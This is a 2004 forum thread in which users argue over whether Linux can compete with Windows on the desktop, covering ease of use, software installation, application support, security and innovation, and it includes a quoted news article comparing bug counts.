# Problems with Linux: Why it has no chance...



## borg (Aug 27, 2004)

Microsoft comes under heavy criticism regularly, easpecially from Linux buffs. But recent polls on this forum clearly shows that MS is more popular than Linux (atleast for the users on this forum). So why shouldn't Windows users pour some criticism on Linux?. Linux is by no means perfect or even close to perfect. That is why so few people use Linux. I will post a few reasons a to why, I believe, Linux hasn't caught on & why it simply has no chance whatsoever against Windows (atleast for now)

*1. Totally unintiutive*
I believe this is the main reason. Using Linux makes me feel that the designers just didn't want to make it usable by everyone. Some of the tasks are ridiculously difficult to go about. It sometimes seems that it was al deliberate. Though in recent times a lot has improved, using Linux still involves a lot of command lining, which is unacceptable for a modern computer user.  mean who wants to type lousy commands in the command line in this age of the GUI???. 

The learning curve that Linux provides is too steep for most people. There is litlle chance you will figure out things in Linux by yourselves. You either have to be trained by someone or read a book to use Linux. Unlike Windows or Macintosh, where you can figure things out by yourself, this is not possible many of a times in Linux. 

Just take an example of installing a program in Linux. Many programs in linux come in the form of  source code!!!. So you have to know how to compile the whole thing & run it. And again you have to know how to use the command line. If you don't know the specific command required, yo are out of luck. There is little chance of _figuring_ out the command. You either know the command or you don't. And even if you have an RPM file, you still need to use the command prompt. Just take look at the following command-

To install, you need to type the following in the promt-
rpm -i [filename]

You can see that there is absolutely no way of _figuring_ things out in linux. You either know the command or you don't. this is an old & outdated way of computing & that is to say the least.

Now compare that with Windows or the Mac. Both do have their learning curves as well, but they are quite shallow & anyone with the basic knowledge of computers can get by. Installing a program is a very easy process 7 the computer just walks you though the process in a step by step manner. Which is very good. Linux IS moving in this direction. You can just double click the rpm file to install the programs in Linux too, but still it is quite rudamentary & it doens't even tell you where the whole thing was installed. Very outdated way of computing.

Installing programs is one thing, installing drivers is quite another. I still haven't figured out how to do it.

*2. Lack of commmercial applications*

Most of the programs available for Linux are opensource, freeware & stuff like that. Many of them in beta stage. You mostly have alternatives for Linus & very rarely the original programs. people need the original stuff, not some alternative. For ex. for CD writing I need Nero & not some alternative, for playing music I need Winamp & not some winamp wannabe, etc etc. But Linux is full of wannabes & lookalikes & very rarely the real thing. It would be acceptable to use wannabes occasionally, but having to use them all the time is not acceptable, atleast to me.

And what about things like games?. I don't even need to mention this. Everyone knows where Linux stands in the gaming scene. Its a nobody.


*3. Lack of standards*
progam development is also hampered by the fact the there is no such thing as THE LINUX. You have Red Hat, Mandrake, Suse, etc etc all coming  up with their own versions. So a program developed for one may not work on the other without modifications. this leads to so much confusion & chaos. We have enough confusion in computers already & no one wants more.

*4. No support*
Even if commercial companies develop Linux versions of their software, no one wants to provide technical support for Linux. For example, Real developed a version of its realplayer software for Linux, but doesn't support it. Similarly yahoo developed Yahoo messenger, but the program is so outdated compared to the Windows version. Most of the stuff on linux is commmunity supported, which may not suit everyone's needs.

I will give more points soon.


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## sailendra (Aug 27, 2004)

@borg
  You seem to be strongly biased in your views. First off I disagree that Linux is unintuive as far as its interface goes. You should try the recent release of Fedora and Mandrake Linux before jumping to conclusions.  The gui is very much like any Windows based OS. Most of the things you can do using command line can be done with the GUI.  In my opinion, what linux lacks is in the area of documentation.  But that is partially addressed by the vast online community support. If like you say, few people are actually using linux, then it should have long gone into obscurity. That's not the case, Linux is very much alive and penetrating the market more that you'd like to believe.
  Coming to the steep learning curve, that allegation is no longer true. ANY windows based user with a moderate level of expertise can easily learn Linux in a day. Mastering the OS is different story. That requires time and patiience. 
  As far as RPM installation's go, I find it is very convenient way of installing software with out having to bother about all the details of where your prog gets installed, its configuration, icons, groups etc. Most users could n't care less. What they want is the program to run with out nasty DLL errors and viruses that are so common on Windows Platform.
 Isnt a simple command such as rpm -i  easy to use than an  setup program that asking you a bunch of questions just to install itself.  Further, binary packages, are available in addition to source packages  - so it is wrong to say that you need to compile everything to get it to run under Linux.

 As far as driver installation goes, most of the standard hardware is supported on the recent versions of Linux. For non standard hardware, vendors do have support for Linux, although there number is less as of now. Installing drivers under linux is a matter of loading the appropriate module. A simple modprobe command is what's necessary in most cases. 

  Linux does have technical support. It depends on the people who are willing to pay for it. After all technical support comes at a cost. Isnt that true for Windows or for that matter any OS? Corporate users can opt 
for the commercial versions of Linux such as Redhat Enterprise Linux. They only get to pay for a single copy of the OS - and use it on any number of machines. For retail users, companies do offer support for their
products - for a price. Some companies offer their products free but charge for the support. If you dont wish to pay for technical support, you
can tap the online community to get support that is free.


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## borg (Aug 27, 2004)

I have used Mandrake Linux 6, RH 7.3 upwards to Fedora core 1. I know that things have gotten better, but frankly there is a long way to go. Regarding the installation issues, I don't agree with you. How can you say that using commandlines & obscure command syntaxs are better than the simple installation wizard that you hve in Windows???. Windows just walks you through it. All you have to do is click next. You also can control where your program is installed & the folder name , etc. I don't see in what way the former can be better than the latter. In Linux you don't even know where the installed program went & how to access it. Many times I installed Realplayer but didn't know where to look for the executable.


As regarding the modprobe command, again the same thing I mentioned in my original post. Unless someone told you that such a command existed or you read it soewhere, you simply cannot know. There is no way to _figuere_ things out in Linux. inux is easy to use only when you know how to use it. Again it all comes up to the learning curve.

And regarding support, I wasn't talking about the support for the OS, but rather about the app support for the OS. There are very few mainstream apps for Linux. Most of the apps are just wannabe lookalikes of the mainstream apps.


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## sailendra (Aug 27, 2004)

borg,
  Just like with every OS, Linux too has conventions when it comes to installing Programs.  RPM packages are usually installed under the /usr/bin and the documentation, under /usr/share/man
  Agreed, it is not obvious - but once you get the hang of it, command line usage is a lot quicker and efficient then GUI based usage.  You can figure things out yourself, if you take the time to  explore. Most people are too afraid lest something terrible happens, or in some cases, just plain lazy.
  Coming to driver installation, not every driver that comes for windows has a setup program bundled with it. You still need to have a moderate level of expertise before you install drivers for your new hardware - even under windows.


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## borg (Aug 27, 2004)

*hmmm...*

I still not satisfied. I cannot understand how an command line OS can be better than a GUI based OS   . If it really is better, then why don't we all dump our Windows Xps & 2ooos & go back to DOS?. Its better that way tryping commands for hours on end.

Anway Linux is getting graphical by the day, but you still have to use command line for a wide variety of tasks. Also many of the points I made in the original post haven't been answered. 

Installing drivers in windows may also require a bit of expertise, but its easily a lot simpler than Linux I tell you.


Also read the following article-

Which Is Buggier - Windows or Linux?

 By James Maguire 
NewsFactor Network
May 23, 2003 4:00AM 

"There's a community within Unix-Linux that has grown to increase its stability, where finding the bugs is considered a positive thing. Whereas, with Windows, there's a rather aggressive community trying to find bugs to denigrate Microsoft and Windows."  




Which operating system -- Windows or Linux -- deserves the dubious title, "Most Prone to Bugs and Security Problems"? 
The answer, judging by a quick survey of industry headlines, seems obvious: It must be Windows. Every week brings a new announcement of yet another Microsoft security  fix. To best describe the number of security bulletins the software giant puts out, the word that jumps to mind is "blizzard." 

So it comes as quite a surprise that Linux is far more prone to problems than Windows -- at least, judging by one side-by-side comparison (described later in this report). In any case, answering the question of which OS wins the dubious "Bug" award requires plenty of twists and turns. 

It Might Be Microsoft 

"There's a perception that the development process that Microsoft uses has not been a sound one in terms of potential back-door types of security breaches," Gartner analyst George Weiss told NewsFactor. The company's "ability to address and fix the problems in a very timely manner" also has been questioned, he said. 



And IDC analyst Dan Kusnetzky pointed to "a perception that Windows 95 and Windows NT were buggy. Microsoft says Windows 2000 and its follow-on products are significantly better," he told NewsFactor, "but when we do surveys, people seem to still hold on to the old perception: They class Windows NT and Windows 2000 roughly the same for reliability. 

"Which I think is more of a marketing problem for Microsoft than a reality," Kusnetzky said. 

Then Again... 

Indeed, the question of what is "reality" versus what is a "marketing problem" is just one of many issues that cloud the discussion of which OS is buggier. 

The two OSes come to market in very different ways. Windows is run by one central company; Linux -- while based on a single central kernel -- has many different distributions produced by a variety of companies and groups. 

So, as Linux proponents point out, bugs may show up in two different distributions -- say, in products put out by Red Hat  and SuSE  -- but those two reported problems are in reality just one bug in the central kernel. In the Windows world, two bugs really are two different bugs. 

Also, "the Linux-Unix OS is largely in the server environment, where the vast majority of Windows installations are in the client environment," IDC analyst Chris Christiansen told NewsFactor. The difference in technical skills in those two user bases could greatly influence perceptions of OS stability. 

"The scrutiny of the operating systems [is] different," Christiansen said. "There's a community within Unix-Linux that has grown to increase its stability, where finding the bugs is considered a positive thing. Whereas, with Windows, there's a rather aggressive community trying to find bugs to denigrate Microsoft and Windows." 

It Might Be Linux 

To perform an apples-to-apples comparison, it is necessary to take a look at examples of the two OSes that are essentially equivalent. Red Hat 7.2 and Window XP Professional were released at about the same time and perform similar functions. Red Hat has the resources to hire top programmers and create quality product and so can be considered on par with a well-financed company like Microsoft. 

A count of the problems reported for XP Professional is available on the Microsoft Web page that lists all of its security bulletins. Use the pull-down menu to find the bulletins for Windows XP  Professional. The list starts in November 2001. In the 18 months since then, 27 bulletins about security flaws or other bugs have been posted for Professional XP. 

To count the fixes and bugs for Red Hat Linux 7.2, go to the company's errata page and begin counting from November 2001. (The list starts two months earlier, but for the sake of an apples-to-apples comparison the first two months can be excluded.) From November 2001 until now, the company has issued 158 security bulletins or bug fixes (not counting the enhancements listed on that page). 

Compare the results: Professional XP with 27 fixes; Red Hat Linux 7.2 with 158. Based on that count, Linux is substantially more problem-prone than Windows. 

Quality of Measurement 

Not so fast. "A list of reported bugs and their fixes really isn't satisfactory as a mechanism to report on the quality of the code," Kusnetzky said. "That's just one of many metrics." 

A bug count is limited, Weiss echoed, "because you have to look at it on a qualitative basis ... what those bugs might mean in terms of, say, security, or performance, or other issues." You have to consider whether "they were minor in nature, easily fixable, or whether they had significant ramifications that opened up the user to major breaches," he said. 

A single operator controlling an OS has the discretion to list bugs, though it might not be desirable to expose a problem until there is a solution for it, Forrester analyst Stacey Quandt told NewsFactor. 

"You have to define bugs," said Joseph Eckert, communications director for leading Linux vendor SuSE. "If you're talking viruses, there is no known, official ... 'virus' for Linux," he told NewsFactor. Furthermore, Linux has "a lot of the inherent stability, security and robustness that people have come to expect from Unix," he pointed out. 

Multiple Variables 

Voicing an opinion found throughout the analyst community, Quandt noted that "it's difficult to say which OS has more problems," adding that many variables come into play when comparing OSes. 

"It's hard to say," agreed Kusnetzky. In the basketful of variables, there is the fact that "in the case of Windows, the only company that can respond is Microsoft. In the open-source community, it's a whole community that potentially could respond, which means, at least in theory, response may be faster," he said, but "it may not be better." 

Christiansen went so far as to say the question of which OS is more bug-prone is irrelevant. 

"It's difficult to make that judgment unless you're making it in the context of a specific environment, a specific set of applications and a specific user base," he said. However, "the lack of logic has never stopped people from making the comparison."


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## rj2k (Aug 27, 2004)

i absolutely agree!! for one thing sailendra i bet you did not know that stuff when you first installed linux...
as far as security goes.. 
aren't there security sites like winupdate etc.. for even linux??
not every os is perfect....
not even linux!!


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## borg (Aug 27, 2004)

Yeah & one of the main reasons Linux doesn't get attacked very often is cause very few people use it. And the reason why MS gets attackedso often is cause everyone uses it. Linux may be better, a little better in terms of security, but MS bashes it in other areas.


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## anispace (Aug 27, 2004)

yeah I agree I have tried diff. linux distributions and I find that non of them are userfriendly except while installing which is the only thing thats easy.   

u cant download or install apps from CD or play games without 
the Command line interface


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## sailendra (Aug 27, 2004)

@borg,
   I am not into arguing whether windows or Linux is better - or which one sucks most. The GUI based os is no doubt easy to use. But not nearly as efficient when it comes to doing repetitive tasks. Some things are better done using the command line - whether they be in Windows or Linux.
    The driver installation has improved only recently that is from Windows XP onwards. I personally installed Windows and Linux on many a friend's machine, and believe it or not, it was Windows which took more effort to get everything up and running then linux.

@rj2k
   I dont claim that i knew all about how to go about installing and using Linux when i first installed it. But, I have been a linux user since when PCQ first gave it on their cd - (was it  Kernel 0.9?) - and since then, Linux has come a long way - and in my opinion, there is almost nothing you can't do pretty efficiently in Linux that you can do under Windows. Mind you - I am not saying that One is better than the other. At the same time, it would be entirely inaccurate to write off Linux like borg here claims.


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## rj2k (Aug 27, 2004)

Linux is good...
i have redhat linux 9 installed on my pc.

but the fact remains m$ wins!!

i have also got win xp pro, media centre,2003 with multiple booting!!


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## sailendra (Aug 27, 2004)

@rj2k
  Good for you


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## rj2k (Aug 27, 2004)

bad for me:
didn't i say that ms still wins?? and windows is a lot better!!


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## sailendra (Aug 27, 2004)

> bad for me:
> didn't i say that ms still wins?? and windows is a lot better!!


 hmm, i was referring to your mulit boot installation


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## tuxfan (Aug 27, 2004)

Here's one more Windows vs. Linux thread.

But posts are too long!! Can't remain online while I read  Will go offiline, read it and come back for posting.

BTW, here's a thread that discusses about security holes in WinXP SP2

*www.thinkdigit.com/forum/viewtopic.php?p=56837#56837

I guess this security issues itself will one day be the sole reason for using Linux or some other secure OS.


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## Kl@w-24 (Aug 27, 2004)

How can u be sure that Linux will be secure ?If Linux becomes as popular as Windows, more people will research on it and find bugs and holes. That's what is happening to Windows.


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## prankzter (Aug 27, 2004)

this thread consists of the longest posts in the history of this forum!!!


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## sreevirus (Aug 27, 2004)

i have been a casual user of linux for a year and first off...i wud disagree that there is little support for linux...and also that there r commercial applications cos there r many efficient alternatives...and games, games will be naturally developed for the OS that the majority of ppl use....if linux was popular amongst the ppl, surely many games wud've been developed for linux....but thats the point, linux has to gain popularity on a large scale



here r the points abt linux thats frustrating and (cud be a reason) that make it less popular.


i really think the command line interface is a big let-down for linux......why do lay ppl need the command line??
also, the server-client model in linux shud be modified....ppl like more GUI.......the high security in linux can be really frustrating....why shud ppl need to type in commands like "rpm -ivf package.x.x-xx". wouldnt it be nice if they cud install  apps by double clicking the rpm?? it sorta makes me think "why does Linux OS doesnt trust even the administrator?" why does it need us to be logged in as root and then operate?? and that too thru the command line each and every time?? its really frustrating.....such security can be highly efficient for sys-admins and ppl handling network security, but i again ask....do lay users need such security?? the high security file-system must be a little modified for easy use for linux-novices like me.

linspire is one step ahead by their Click-n-Run operation, but it still has a long long way to go. 

also, its good that linux as an OS acts as a compiler, but ppl want ease of use, they dont want to compile and run every single program...

i am sure many linux-novices will agree with me on these points...


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## tuxfan (Aug 27, 2004)

As of now it is far more secure. As time goes, its security features will be made more and more strong. Permissions is the main thing for security in Linux. I am not an expert. So I believe in what experts say. Because of its security and stability, Linux is now used in majority of servers and even in mission critical places like space ships 

BTW, considering the current scenario, anything will be more secure than  Windows :roll:


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## busyanuj (Aug 27, 2004)

I have been using Linux since PCQuest magazine gave the RedHat 5.2 CD some years back.
and I have also been using Windows simultaneously as dual boot, over the years.

In my opinion, both have their own advantages, *Windows* is _easy_ to get accustomed to, simple to follow, but not _quite_ secure.
Linux, or rather the *Fedora Core 2* that I use these days, is *secure & stable*; but definitely needs a little timespan for a new user to feel comfortable.

Viruses are largely rampant in Windows, so on that front, FC 2 definitely has an edge over Windows.

Most of the games are made for the Windows environment.
On the other hand, a programmer will be devastated if the compilation of his program source code crashes in Windows.


_Overall, I feel, choosing an Operating System is based on the requirements of the user._


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## oldmonk (Aug 27, 2004)

windows is ok for technically challenged people, who dont like the command line and get worried about small things like which command to use etc.

For the rest their is linux, freebsd, etc.

Theres also macOS which is soooo fantastic!!!!!!

Well to each his own.

Every body likes what they like who can stop them - its like congress and BJP.


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## ujjwal (Aug 27, 2004)

heh well said oldmonk. To each the os he likes. People like me take the benefit of both.


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## kl_ravi (Aug 27, 2004)

hi All,



			
				sailendra said:
			
		

> You should try the recent release of Fedora and Mandrake Linux before jumping to conclusions.



I would like to visit a related thread 
*www.thinkdigit.com/forum/viewtopic.php?t=5824&highlight=

before proceeding with Fedora Core 2 linux

*BTW:- I am not a fan of either operating systems. I am just adding some relevant information to this post....*


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## sailendra (Aug 27, 2004)

hmmm
  This post sure is hot. Look at the number of replies.  i guess its expected - people love arguing (they call that debating LOL!) about which is best  - Linux or Windows, IE or (<put your favorite browser here>) and what not. 
  Oldmonk rightly points out,  each to his own. peace  

@kl_ravi
  Thanks for the info.


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## BONZI (Aug 27, 2004)

By jove can someone write the summary of the posts.


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## kl_ravi (Aug 28, 2004)

To summarise,

Linux or windows choose the one that fits you the best ....  
Keep an eye on security and bugs...  
As long as you are able to do your job, you should not complain...  
Don't force your preference on others....


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## Hexus (Aug 28, 2004)

How do you guys Compare Linux (Secure and Stable) with Windows (Easy of use and User friendly) ?

Linux is the MOST stable OS ever made, even microsoft would've to agree. Windows has a lot of bugs (intentionally created to rip off people) and endless upgrades and a lot of additonal softwares to be installed whereas Linux is best suited for Servers and Enterprise Solutions.

Ofcourse, both have some positive and negative features, but both are made for different users. It'd be sensible if you compared Windows 2003 Server Advanced with Linux. But still, Linux wins there (for servers). 

And for Desktop PC's, as everyone knows, Microsoft wins. However, most people still prefer Linux as its FREE, GNU and offers a lot considering its a Free Release. If you're one of those, who've usedLinux at home and could'nt play Games, Mp3's on it, then, please dont compare Microsoft and Linux. There have been endless discussions on it here and on other forums resulting into a lot of posts and nothing more..

*Microsoft and Linux DONT COMPARE.* Its like comparing a male and a female. 

(Correct me if I'm wrong!)


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## sreevirus (Aug 28, 2004)

i dont see any problems in comparing these two OSes...infact i feel such healthy debates can make us understand more abt the ups and downs of the (now) champion Windows (desktop segment) and its sure challenger Linux....we have to carry on such debates so that we understand what handicaps linux and how the solutions can be made up.

ok....i wasnt talkin crap abt linux earlier, i feel that linux has a gr8 potential to make it big on the general desktop segment....the constant hangings and security holes in windows can drive any1 nutz.....it is at times like these that linux can have an advantage over windows....but think about it, still ppl prefer windows over linux. why? again the old user-friendliness...and _windows is a weakling in the server section and a champion in the desktop segment and its vice-versa in case of linux...._

i am certainly not vouching for linux OR windows, (even tho i'm better off with windows for now) but now u ppl urselves think, wouldnt u guys want Linux as a userfriendly OS?? wouldnt u like to see changes in the desktop OS? (i certainly would)
tuxfan said abt tightened security which, as he said, is high required in mission critical operations, but is such security required for the common user???
here i'm talkin why linux (according to me) doesnt make it big for the common user....why cant linux be a simple little OS?? why all the complexities?
yeah *"how"* windows works maybe a complex process but then we _dont_ *"see"* the complexity. its simple for the common user [as they say, its better to hide ugliness] ....and the same man will readily accept Linux if it was simple to operate. 
i remember that i once said this before, ppl will be more willing to shell out more money for peace of mind and ease of use and then the affordabilty of open source linux doesnt matter....and i am sure, if linux were to become more easier, ppl will no longer have to spend huge amounts on softwares like Office Suites and other applications as such things are easily available (in most cases free) for linux.

*AND then again, why do ppl say that windows is user friendly and linux is more secure and leave it there?? why dont we think abt how windows can be more secure and linux can be more user friendly??* ok we cant discuss much abt windows bcos its propreitary, but *LINUX IS FREE* isnt it?

and about viruses, i think lamers will always be there to cause trouble to people and now as more ppl use windows, more viruses r made for windows....the scenario would have been different if Linux was in place of windows ie more viruses for linux...programmers wont stop 

*so ppl, think about it.....*


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## oldmonk (Aug 28, 2004)

> ppl will be more willing to shell out more money for peace of mind and ease of use and then the affordabilty of open source linux doesnt matter....



how many people do you know (even those who swear by winblows) shell out money for windoze?


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## Hexus (Aug 28, 2004)

sreevirussreevirus,

There is no problem in comparing, infact, there is no use. You compare two things of the same make. Linux is a Server OS, and windows is for home/personal use.


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## borg (Aug 28, 2004)

Another tyhing I would like to add about Linux's weakness- The internet. The internet on Linux just doesn't appear as it should. All the webpage elements like buttons, radio buttons, etc appear slightly different from their intended looks. Thats bad.

Also Linux is behind Windows in the fonts department. Everything appears different in Linux.

Also what about R&D?. Since no single company is running Linux, who does the R&D?. I mean Linux for long has just been playing the "me too" game. Fo ex. Apple makes so many improvements to its OS. Many of them are new & never seen before. Such as iMovie, sherlock, iTunes, widgets, etc, etc. Similar ex. can be given for Microsoft. Now this happens because each of these companies have R&D machines behind them. As far as Linux is concerned, all I have seen it doing is playing the "me too" game. As soon as some nice feature is released in any of the other OSs, some Linux programmer comes up with a lookalike for Linux. Thats not very creative is it?. What do you have to say about this?.

Also I am glad that some of the Linux buffs accept that Linux is not for everyone.


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## medpal (Aug 28, 2004)

i love operating my system!!!!!!!!!!!!!!!!!!!!!!!!!!

does not operating my computer mean "OPERATING SYSTEM"

kidding. go on.
ilove all that is very esy and time saving to use and thats why i have invested 4100/- bucks in purchasing the licensed operating system.


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## tuxfan (Aug 28, 2004)

> The internet on Linux just doesn't appear as it should. All the webpage elements like buttons, radio buttons, etc appear slightly different from their intended looks. Thats bad.


I have never experienced any such thing in Linux. May be you just need to upgrade your browser and things might fall in place.



> Also Linux is behind Windows in the fonts department. Everything appears different in Linux


 If it looks same, people complain Linux is copying Windows  BTW, in my PCQ Linux, I have all basic fonts that come with Windows, including Verdana, the most commonly used. So things appear very much similar if exactly not same.



> I mean Linux for long has just been playing the "me too" game


I agree. That may be done because so many people are used to the Windows environment. If things are made different, then people complaining about learning curve will complain all the more. The point is, if every thing is done and looks the same, but still it is more secure and stable, then more and more people are likely to adopt it. 



> Also I am glad that some of the Linux buffs accept that Linux is not for everyone


I somewhat agree. As of now, it may not *seem to be* for everyone. All substitutes are not still very much upto the mark. But mind you, there are all the substitutes. But the programmers are catching on and working on improvement all the time. Keep looking. 



> WE ARE THE BORG
> YOU WILL BE ASSIMILATED
> RESISTANCE IS FUTILE


If that is the case, then I would stop arguing and posting


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## borg (Aug 28, 2004)

I would like to repeat the same thing I said in my last post- Who does the R&D for Linux???. For now, Linux developers are just making Linux equivalents of features found in other OSs. Very little or no originality & innovation. So does that mean that Linux cannot survive without the other operating systems?.


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## gamefreak14 (Aug 28, 2004)

The biggest difference is the *price factor*. Companies are willing to shell the extra amount of time so that Linux becomes more accepted in their organization. As and when Micro$oft reduces bulk licensing costs, Linux will remain the clear winner.


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## sailendra (Aug 28, 2004)

@borg
  No offence, but Windows itself before its current avtar, is a copy of the Mac OS. Infact Microsoft is know to be the #1 in copying other people's innovations and research and marketing with a new name. Windows was able to penetrate the market because of agressive marketing strategies of Microsoft and NOT due to the so called Innovationsby Microsoft. or a superior windows product.


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## borg (Aug 28, 2004)

hmm... Well, there is no single company or entity in this world who can claim that everything they make is original. Not even Apple. The fact that MS copied MacOS to make Windows is well known, but Apple also copies MS & other companies. I can quote so many examples. The concept of context sensitive menus (right click or cntrl click)was unheard of in the Macworld untill 1997, whereas you had this in Windows for years. It was only in 97 that Apple released its Mac OS8 which featured context sensitive menus. Similarly take the minimize & maximize buttons. You only had a single button in Mac OS originally, but from Mac OS X, Apple too has two buttons just like Windows. I can quote many such examples.

But atleast these two compaies innovate. No one can argue that Microsoft or Apple don't innovate. I don't think so many people would be using the computer today if it wasn't for Microsoft (& Apple).

Now coming to Linux I don't see any new & original features. It rather sticks to its "me too" line. I don't undestand how new improvements & new features can happen in Linux, since no single company is behind it. Untill a way is found I think linux will simply be content with imitating other people's work.


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## borg (Aug 28, 2004)

Also another important question that arises from this discussion is this-

"Can Linux in its *present form* survivie on its own?"

Lets suppose commercial companies, like MS (which many Linux people hate so much) & Apple, simply vanish from the market. Will Linux, in its present form, be able to take on itself the task of innovating at the pace that we are so used too?.

My opnion is that it would be very difficult for it to do so.


----------



## borg (Aug 28, 2004)

And one more thing



> @borg
> No offence,



Why would I take offence???. This is a serious, mature discussion taking place on a discussion forum & don't think either of us should take any offence   .


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## ujjwal (Aug 28, 2004)

As for pages appearing distorted in linux, that completely depends upon the browser and resolution. I use firefox at 800x600, no problems. When some pages appear distorted, thats not the browsers problem, rather a problem with the site which optimised it for internet explorer and nothing else.


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## sailendra (Aug 28, 2004)

Well borg,
   Like u mentioned, Linux as an OS is not developed by a single company such as Windows or Mac OS. The Linux movement is a team effort of individuals who are doing it with  non-profit motive. The effort itself is to be commended.  If you take the case of Windows or any other commercial OS, it is in the best interest of the people involved to strive to add new features - all the bells and whistles and market those. The motive behind it - its pure business sense. Whether you actually need all of these features is really another matter. My point is this: Linux itself is a huge step in terms of the of choice it offers as an alternative OS that is free. 
  Linux in my opinon can very well survive on its own. Whether Microsoft and Apple exist or not. The point here is not about innovation, its how best a product addresses the need of the people involved. Innovation happens as the product(s) mature.   Agreed, as it stands now, Windows has the largest market share when it comes to Personal Desktop computing. But Linux is catching up on that front. 
 The stability and security that linux offers is all the more relevant in today's internet connected world. That's one good reason why one must at least give Linux a serious thought.


----------



## borg (Aug 28, 2004)

hmmm... Well Sailendra, what you are talking about is the general nature of the Linux movement. Agreed that the Linux movement is a commendable movement & shows how people from all over the globe can organize themselves & come out with a product. But I am not talking about how good or bad this movement is, let us focus purely on the merits & demerits of the end product ie. the Linux OS.

A lot of people speak about the Linux movement as some "good" & speak about MS & other commercial companies & programs as though they are some "evil". They get all emotional about it. I don't necessarily share that view though. I am sure a lot of other people also don't.There will be free software & there will be paid software. That doesn't mean that the paid stuff is "evil" & the free stuff is "good". It all depends. Programs like OSs need a lot of money to develop. Companies invest millions of dollars & at the end expect to make money from the saftware. I don't think that is "evil" as some Linux people like to describe it. Its business. Plain & simple. I don't think bringing "good" & "evil" in the scene is very wise. I know that a lot Linux buffs promote Linux because they feel that it is some "good" with which they can fight against the "evil" of Windows. Sadly, a lot of computer users don't necessarily share that view though.


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## tuxfan (Aug 28, 2004)

In my opinion the best innovation linux has made is bringing together the ease of GUI (from Windows, etc) and security+stability (of Unix). It gives the best of both worlds!! True, command line interface needs to be used for some things. But there are GUI comunterparts or frontends to do most of those things that a normal user want. Normal user means someone who uses his machine (at home or office) for day to day tasks like surfing, emailing, listening to music, watching movies, using office application, etc. Linux is behind in gaming part. But I am sure as it becomes more and more popular, there will be lots of them made for linux too.


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## borg (Aug 28, 2004)

And regarding the innovation part, innovation doesn't always have come to satisfy a need or demand for something. What I am trying to say is that sometimes a solution can come before a problem arises. It may happen such that an innovation itself creates a demand for itself. Its not necessary always that a need should arise & that it should be fulfilled later. A good example is Apple's iTunes. People weren't necessarily looking for legal online music downloads before it. And now it has become so popular that there is so much demand for online legal music download sites. It is exactly this kind of innovation which will suffer without commercial companies like MS & Apple. The possibility of such innovation happenning on Linux is bleak.




> In my opinion the best innovation linux has made is bringing together the ease of GUI (from Windows, etc) and security+stability (of Unix). It gives the best of both worlds!!



I think the Mac OS X far outstrips Linux on this one.

Also openXS said:



> Linux is the MOST stable OS ever made



I think you forgot Mac OS X. Based on FreeBSD, I think this one is a formidable contender to the title of Mos stable OS ever


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## sreevirus (Aug 28, 2004)

openXS said:
			
		

> sreevirussreevirus,
> 
> There is no problem in comparing, infact, there is no use. You compare two things of the same make. Linux is a Server OS, and windows is for home/personal use.



Pre-Replied


			
				sreevirus said:
			
		

> *AND then again, why do ppl say that windows is user friendly and linux is more secure and leave it there?? why dont we think abt how windows can be more secure and linux can be more user friendly??*



thats the whole point i'm talkin about...why shud linux be restricted being a server OS and windows as a personal desktop OS? why cant we think in alternative ways? why cant linux be an easy personal/home use OS?



			
				oldmonk said:
			
		

> > ppl will be more willing to shell out more money for peace of mind and ease of use and then the affordabilty of open source linux doesnt matter....
> 
> 
> 
> how many people do you know (even those who swear by winblows) shell out money for windoze?



arre, lets leave piracy out of this, i'm talkin about a broader prospective....even if ppl *are* buying illegal copies of windows, why do they buy *only* windows when i see (practically) no ppl buying illegal copies of SuSE Pro or RedHat Enterprise Linux or Linspire (yeah their cost also somewhat equals the cost of a windows copy) and these distros r supposed to be windows-replacements....


----------



## firewall (Aug 28, 2004)

Well... vey good discussion is going on... it's realy enjoyable... but 
before commneting on the mail question i would like to point out some misconceptions....

1. Linux is not operating system, it's mere a kernel. the distros we see now a days are mostly gnu systems unning on linux kernel.. and thus the whole os is gnu/linux... 

as we r here trying to compae this ystem to windows , we must refer it by it's ight name... i.e .gnu/linux as we are talking about OS not the kernel.

2. Gnu/linux operating system and linux - the kermnel are released under GNU/GPL and these ae FREE. not only that mosts of gnu/linux applications are also GNU/GPL'd.

There is a massive difference between FREE software and FREEWARE..



			
				borg said:
			
		

> Most of the programs available for Linux are opensource, freeware & stuff like that.



Now on issues, raised by @borg



> You can see that there is absolutely no way of figuring things out in linux. You either know the command or you don't. this is an old & outdated way of computing & that is to say the least.



This is absurd... How CLI could be outdated way... still we have lots of high end jobs, that only can be done by cli... and as Borg always refers windows... even on windows lots of jobs can be done by only passing commands on CLI.... @Borg find it urself...



> but still it is quite rudamentary & it doens't even tell you where the whole thing was installed. Very outdated way of computing.



This is nothing but lack of knowledge on gnu/linux... if you don't know or you can't find anything that doesnot mean that thing doesn't exist....



> Many of them in beta stage...


Yes many of them are in BETA as we, the Free Software coders agree , that a particula program needs futher development o it has some bugs...

but what MS do... they donot rectify the bugs and just released the next vesion (with that bug) as a fresh one.... is that good....



> You mostly have alternatives for Linus & very rarely the original programs. people need the original stuff, not some alternative. For ex. for CD writing I need Nero & not some alternative, for playing music I need Winamp & not some winamp wannabe, etc etc. But Linux is full of wannabes & lookalikes & very rarely the real thing. It would be acceptable to use wannabes occasionally, but having to use them all the time is not acceptable, atleast to me.



This is again lack of information.... who says that all the stuffs ae alternatives... I use gnu/linux and all the software for me are not alternatives. they are the general.....I know a group from Bengal are teaching childrens computing and bengali in the community centres in  US, canada and australia, ask those childrens what is alternative and what is oiginal.... 



> You have Red Hat, Mandrake, Suse, etc etc all coming up with their own versions.



This is the ultimate Freedom.... use that suits you most... and this makes one thing sue , whatever the distro u r getting the same standard of linux kenel and gnu applications....
Not only that, if you can afford buy the product with support and if you can't us it free of cost ......



> Even if commercial companies develop Linux versions of their software, no one wants to provide technical support for Linux.



This is no entiely tue... it depends under what license/terms you are using the software.... and besides this.... what support  do you want or rather getting from MS itself on windows....

If someone is using Windows NT and wish to patch it so that the system couldn't be attacked by Blaster worm, that person have to either upgrade the system to any higher version of windows or simply to migrate to gnu system as MS has stopped all it's technical suppots fro NT and thus the patches too....



> Most of the stuff on linux is commmunity supported, which may not suit everyone's needs.



Again Borg missed the theme... if you need any enhancement to a community supported application, you may just appoach the developers team and aks them for that feature or if you are a progammer then you ca nactively contibute that feature.... in case of Windows whom should you approach and who is there to listen you.... and above all Why.???


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## oldmonk (Aug 29, 2004)

this is all subjective remarks and peoples passion flaring up.





